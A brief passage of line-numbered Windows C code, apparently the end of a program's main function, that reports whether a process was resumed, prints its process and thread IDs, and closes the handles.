ProcessInfo.dwProcessId, 167 | ProcessInfo.dwThreadId, 168 | dwStatus); 169 | } else { 170 | _tprintf_s(TEXT("[+] main: [PID = %d][TID = %d] Resume process successfully.\n"), 171 | ProcessInfo.dwProcessId, 172 | ProcessInfo.dwThreadId); 173 | } 174 | 175 | CloseHandle(ProcessInfo.hThread); 176 | CloseHandle(ProcessInfo.hProcess); 177 | } else { 178 | Help(); 179 | } 180 | return 0; 181 | } 182 | 183 | 184 | --------------------------------------------------------------------------------